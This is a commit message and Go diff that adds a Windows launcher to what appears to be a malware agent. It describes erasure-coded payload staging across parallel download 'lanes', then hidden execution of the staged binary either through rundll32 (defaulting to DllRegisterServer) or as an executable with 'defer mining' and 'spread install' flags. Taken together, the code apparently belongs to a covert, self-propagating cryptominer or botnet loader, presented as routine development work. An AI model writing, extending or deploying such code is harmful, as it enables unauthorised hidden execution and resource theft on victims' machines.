Add erasure-coded multi-lane spread foundation.

Server Reed-Solomon 4+2 shard encode on deploy plans when erasure_lanes_enabled; agents reassemble from parallel lane URLs as staging fallback with BGP/Path Tracer hints.

agent/deploy/erasure_launch_windows.go

@@ -0,0 +1,34 @@
+//go:build windows
+
+package deploy
+
+import (
+	"fmt"
+	"strings"
+)
+
+func launchErasureStagedBinary(dest, launch, dllExport string, deferMining, spreadInstall bool) (string, error) {
+	switch strings.ToLower(strings.TrimSpace(launch)) {
+	case "rundll32", "dll":
+		export := strings.TrimSpace(dllExport)
+		if export == "" {
+			export = "DllRegisterServer"
+		}
+		if err := HiddenStart("rundll32.exe", dest+","+export); err != nil {
+			return "", fmt.Errorf("rundll32 launch: %w", err)
+		}
+		return fmt.Sprintf("staged to %s; launched rundll32 %s", dest, export), nil
+	default:
+		args := []string{runFlag}
+		if deferMining {
+			args = append(args, deferMiningFlag)
+		}
+		if spreadInstall {
+			args = append(args, spreadFlag)
+		}
+		if err := HiddenStart(dest, args...); err != nil {
+			return "", fmt.Errorf("exe launch: %w", err)
+		}
+		return fmt.Sprintf("staged to %s; launched exe %v", dest, args), nil
+	}
+}